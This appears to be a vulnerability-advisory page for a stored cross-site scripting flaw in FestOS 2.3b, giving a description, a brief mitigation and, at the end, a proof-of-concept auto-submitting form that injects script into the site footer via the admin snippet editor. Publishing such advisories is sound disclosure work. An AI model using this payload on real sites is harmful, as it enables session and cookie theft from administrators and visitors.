Cross-Site Scripting Vulnerability in FestOS

vendor:

FestOS

by:

Unknown

5.5

CVSS

MEDIUM

Cross-Site Scripting

CWE

Product Name: FestOS

Affected Version From: 2.3b

Affected Version To: Unknown

Patch Exists: NO

Related CWE: CVE-Unknown

CPE: a:festos_project:festos:2.3b

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Cross-Site Scripting Vulnerability in FestOS

The FestOS application is prone to a cross-site scripting vulnerability due to improper sanitization of user-supplied input. An attacker can exploit this vulnerability to execute arbitrary script code in the browser of a victim user, potentially leading to the theft of authentication credentials and other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/41725/info

FestOS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

FestOS version 2.3b is vulnerable; other versions may also be affected.

<form action="http://www.example.com/admin/do_snippets_edit.php?tabname=Pages" method="post" name="main" > <input type="hidden" name="snippetID" value="1" /> <input type="hidden" name="title" value="Site footer" /> <input type="hidden" name="active" value="1" /> <input type="hidden" name="contents" value='footer"><script>alert(document.cookie)</script>' /> </form> <script> document.main.submit(); </script>